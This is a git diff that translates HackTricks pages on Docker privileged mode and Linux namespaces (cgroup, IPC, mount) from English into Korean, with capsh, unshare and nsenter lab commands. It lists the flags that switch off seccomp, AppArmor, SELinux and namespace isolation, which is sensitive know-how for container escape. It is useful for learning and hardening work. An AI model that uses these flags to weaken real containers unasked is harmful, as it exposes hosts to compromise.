Masking over kernel file systems +### 커널 파일 시스템 마스킹 -The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas. +**/proc** 파일 시스템은 선택적으로 쓰기가 가능하지만 보안을 위해 특정 부분은 **tmpfs**로 덮어씌워져 쓰기 및 읽기 접근이 차단되어 컨테이너 프로세스가 민감한 영역에 접근할 수 없도록 합니다. -> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +> [!NOTE] > **tmpfs**는 모든 파일을 가상 메모리에 저장하는 파일 시스템입니다. tmpfs는 하드 드라이브에 파일을 생성하지 않습니다. 따라서 tmpfs 파일 시스템을 언마운트하면 그 안에 있는 모든 파일은 영원히 사라집니다. {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -81,30 +72,26 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` - {{#endtab}} {{#endtabs}} -### Linux capabilities +### 리눅스 기능 -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +컨테이너 엔진은 기본적으로 컨테이너 내부에서 발생하는 일을 제어하기 위해 **제한된 수의 기능**으로 컨테이너를 시작합니다. **특권**이 있는 경우 **모든** **기능**에 접근할 수 있습니다. 기능에 대해 알아보려면 읽어보세요: {{#ref}} ../linux-capabilities.md {{#endref}} {{#tabs}} -{{#tab name="Inside default container"}} - +{{#tab name="기본 컨테이너 내부"}} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap [...] ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read [...] ``` - {{#endtab}} {{#endtabs}} -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +컨테이너에서 `--privileged` 모드로 실행하지 않고도 사용할 수 있는 기능을 `--cap-add` 및 `--cap-drop` 플래그를 사용하여 조작할 수 있습니다. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp**는 컨테이너가 호출할 수 있는 **syscalls**를 **제한**하는 데 유용합니다. 기본적으로 도커 컨테이너를 실행할 때 기본 seccomp 프로필이 활성화되지만, 특권 모드에서는 비활성화됩니다. Seccomp에 대해 더 알아보려면 여기를 참조하세요: {{#ref}} seccomp.md @@ -142,100 +126,86 @@ seccomp.md {{#tabs}} {{#tab name="Inside default container"}} - ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status Seccomp: 2 Seccomp_filters: 1 ``` - {{#endtab}} {{#tab name="Inside Privileged Container"}} - ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` - {{#endtab}} {{#endtabs}} - ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` - -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** +또한, **Kubernetes** 클러스터에서 Docker(또는 다른 CRI)를 사용할 때 **seccomp 필터는 기본적으로 비활성화되어 있습니다.** ### AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. +**AppArmor**는 **컨테이너**를 **제한된** **리소스** 집합에 **프로그램별 프로필**로 제한하는 커널 향상 기능입니다. `--privileged` 플래그로 실행할 때 이 보호 기능은 비활성화됩니다. {{#ref}} apparmor.md {{#endref}} - ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. +`--privileged` 플래그로 컨테이너를 실행하면 **SELinux 레이블**이 비활성화되어 컨테이너 엔진의 레이블, 일반적으로 `unconfined`를 상속받아 컨테이너 엔진과 유사한 전체 액세스를 부여합니다. 루트리스 모드에서는 `container_runtime_t`를 사용하고, 루트 모드에서는 `spc_t`가 적용됩니다. {{#ref}} ../selinux.md {{#endref}} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## 영향을 미치지 않는 것 -## What Doesn't Affect +### 네임스페이스 -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +네임스페이스는 **`--privileged`** 플래그의 영향을 **받지 않습니다**. 보안 제약이 활성화되어 있지 않더라도, 예를 들어 **시스템이나 호스트 네트워크의 모든 프로세스를 볼 수는 없습니다**. 사용자는 **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** 컨테이너 엔진 플래그를 사용하여 개별 네임스페이스를 비활성화할 수 있습니다. {{#tabs}} {{#tab name="Inside default privileged container"}} - ```bash # docker run --rm --privileged -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:00 sh - 18 root 0:00 ps -ef +1 root 0:00 sh +18 root 0:00 ps -ef ``` - {{#endtab}} {{#tab name="Inside --pid=host Container"}} - ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef PID USER TIME COMMAND - 1 root 0:03 /sbin/init - 2 root 0:00 [kthreadd] - 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs +1 root 0:03 /sbin/init +2 root 0:00 [kthreadd] +3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` - {{#endtab}} {{#endtabs}} -### User namespace +### 사용자 네임스페이스 -**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. +**기본적으로, 컨테이너 엔진은 루트 없는 컨테이너를 제외하고 사용자 네임스페이스를 사용하지 않습니다.** 루트 없는 컨테이너는 파일 시스템 마운팅 및 여러 UID 사용을 위해 사용자 네임스페이스가 필요합니다. 루트 없는 컨테이너에 필수적인 사용자 네임스페이스는 비활성화할 수 없으며, 권한을 제한하여 보안을 크게 향상시킵니다. -## References +## 참조 - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 6df879add..f08179d79 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# Namespaces +# 네임스페이스 {{#include ../../../../banners/hacktricks-training.md}} -### **PID namespace** +### **PID 네임스페이스** {{#ref}} pid-namespace.md {{#endref}} -### **Mount namespace** +### **마운트 네임스페이스** {{#ref}} mount-namespace.md {{#endref}} -### **Network namespace** +### **네트워크 네임스페이스** {{#ref}} network-namespace.md {{#endref}} -### **IPC Namespace** +### **IPC 네임스페이스** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS namespace** +### **UTS 네임스페이스** {{#ref}} uts-namespace.md {{#endref}} -### Time Namespace +### 시간 네임스페이스 {{#ref}} time-namespace.md {{#endref}} -### User namespace +### 사용자 네임스페이스 {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index d7f4c2d65..70d3c8769 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,17 +4,17 @@ ## Basic Information -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +cgroup 네임스페이스는 **네임스페이스 내에서 실행되는 프로세스의 cgroup 계층을 격리하는** 리눅스 커널 기능입니다. cgroups는 **제어 그룹**의 약자로, CPU, 메모리 및 I/O와 같은 **시스템 리소스에 대한 제한을 관리하고 시행하기 위해 프로세스를 계층적 그룹으로 조직할 수 있게 해주는 커널 기능입니다. -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +cgroup 네임스페이스는 우리가 이전에 논의한 다른 네임스페이스 유형(PID, mount, network 등)과는 별개의 네임스페이스 유형이 아니지만, 네임스페이스 격리 개념과 관련이 있습니다. **Cgroup 네임스페이스는 cgroup 계층의 뷰를 가상화**하여, cgroup 네임스페이스 내에서 실행되는 프로세스가 호스트 또는 다른 네임스페이스에서 실행되는 프로세스와 비교하여 계층의 다른 뷰를 갖도록 합니다. ### How it works: -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. 새로운 cgroup 네임스페이스가 생성되면, **생성 프로세스의 cgroup을 기반으로 한 cgroup 계층의 뷰로 시작합니다**. 이는 새로운 cgroup 네임스페이스에서 실행되는 프로세스가 전체 cgroup 계층의 하위 집합만 볼 수 있으며, 생성 프로세스의 cgroup에 뿌리를 둔 cgroup 서브트리로 제한된다는 것을 의미합니다. +2. cgroup 네임스페이스 내의 프로세스는 **자신의 cgroup을 계층의 루트로 봅니다**. 이는 네임스페이스 내부의 프로세스 관점에서 자신의 cgroup이 루트처럼 보이며, 자신의 서브트리 외부의 cgroup을 볼 수 없거나 접근할 수 없다는 것을 의미합니다. +3. cgroup 네임스페이스는 리소스의 격리를 직접 제공하지 않습니다; **그들은 단지 cgroup 계층 뷰의 격리만 제공합니다**. **리소스 제어 및 격리는 여전히 cgroup** 서브시스템(예: cpu, memory 등) 자체에 의해 시행됩니다. -For more information about CGroups check: +CGroups에 대한 더 많은 정보는 다음을 확인하세요: {{#ref}} ../cgroups.md @@ -25,65 +25,55 @@ For more information about CGroups check: ### Create different Namespaces #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### 모든 CGroup 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### CGroup 네임스페이스 내부로 들어가기 ```bash nsenter -C TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). +또한, **루트 사용자**인 경우에만 **다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/cgroup`). ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..f1dd23f83 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -2,83 +2,72 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +IPC (Inter-Process Communication) 네임스페이스는 메시지 큐, 공유 메모리 세그먼트 및 세마포어와 같은 System V IPC 객체의 **격리**를 제공하는 Linux 커널 기능입니다. 이 격리는 **다른 IPC 네임스페이스에 있는 프로세스가 서로의 IPC 객체에 직접 접근하거나 수정할 수 없도록** 보장하여 프로세스 그룹 간에 추가적인 보안 및 프라이버시 계층을 제공합니다. -### How it works: +### 작동 방식: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. 새로운 IPC 네임스페이스가 생성되면 **완전히 격리된 System V IPC 객체 세트**로 시작합니다. 이는 새로운 IPC 네임스페이스에서 실행되는 프로세스가 기본적으로 다른 네임스페이스나 호스트 시스템의 IPC 객체에 접근하거나 간섭할 수 없음을 의미합니다. +2. 네임스페이스 내에서 생성된 IPC 객체는 **해당 네임스페이스 내의 프로세스만 볼 수 있고 접근할 수 있습니다**. 각 IPC 객체는 해당 네임스페이스 내에서 고유한 키로 식별됩니다. 키는 다른 네임스페이스에서 동일할 수 있지만, 객체 자체는 격리되어 있으며 네임스페이스 간에 접근할 수 없습니다. +3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWIPC` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 IPC 객체를 사용하기 시작합니다. -## Lab: +## 실습: -### Create different Namespaces +### 다양한 네임스페이스 생성 #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### 프로세스가 있는 네임스페이스 확인하기 ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### 모든 IPC 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### IPC 네임스페이스 내부로 들어가기 ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +또한, **루트일 경우에만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### IPC 객체 생성 ```bash # Container sudo unshare -i /bin/bash @@ -93,7 +82,6 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - ## References - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..254d23cef 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -4,68 +4,61 @@ ## Basic Information -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +마운트 네임스페이스는 프로세스 그룹이 보는 파일 시스템 마운트 지점의 격리를 제공하는 리눅스 커널 기능입니다. 각 마운트 네임스페이스는 고유한 파일 시스템 마운트 지점 집합을 가지며, **하나의 네임스페이스에서 마운트 지점에 대한 변경 사항은 다른 네임스페이스에 영향을 미치지 않습니다**. 이는 서로 다른 마운트 네임스페이스에서 실행되는 프로세스가 파일 시스템 계층 구조에 대한 서로 다른 뷰를 가질 수 있음을 의미합니다. -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +마운트 네임스페이스는 각 컨테이너가 다른 컨테이너 및 호스트 시스템과 격리된 고유한 파일 시스템 및 구성을 가져야 하는 컨테이너화에서 특히 유용합니다. ### How it works: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. 새로운 마운트 네임스페이스가 생성되면, **부모 네임스페이스의 마운트 지점 복사본으로 초기화**됩니다. 이는 생성 시 새로운 네임스페이스가 부모와 동일한 파일 시스템 뷰를 공유함을 의미합니다. 그러나 네임스페이스 내의 마운트 지점에 대한 이후의 변경 사항은 부모 또는 다른 네임스페이스에 영향을 미치지 않습니다. +2. 프로세스가 네임스페이스 내에서 마운트 지점을 수정할 때, 예를 들어 파일 시스템을 마운트하거나 언마운트할 때, **변경 사항은 해당 네임스페이스에 국한**되며 다른 네임스페이스에 영향을 미치지 않습니다. 이는 각 네임스페이스가 고유한 독립적인 파일 시스템 계층 구조를 가질 수 있게 합니다. +3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWNS` 플래그로 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 마운트 지점을 사용하기 시작합니다. +4. **파일 설명자와 아이노드는 네임스페이스 간에 공유**되며, 이는 하나의 네임스페이스에 있는 프로세스가 파일을 가리키는 열린 파일 설명자를 가지고 있다면, 해당 파일 설명자를 다른 네임스페이스의 프로세스에 **전달할 수 있으며**, **두 프로세스 모두 동일한 파일에 접근**할 수 있음을 의미합니다. 그러나 파일의 경로는 마운트 지점의 차이로 인해 두 네임스페이스에서 동일하지 않을 수 있습니다. ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰**를 갖도록 보장합니다.
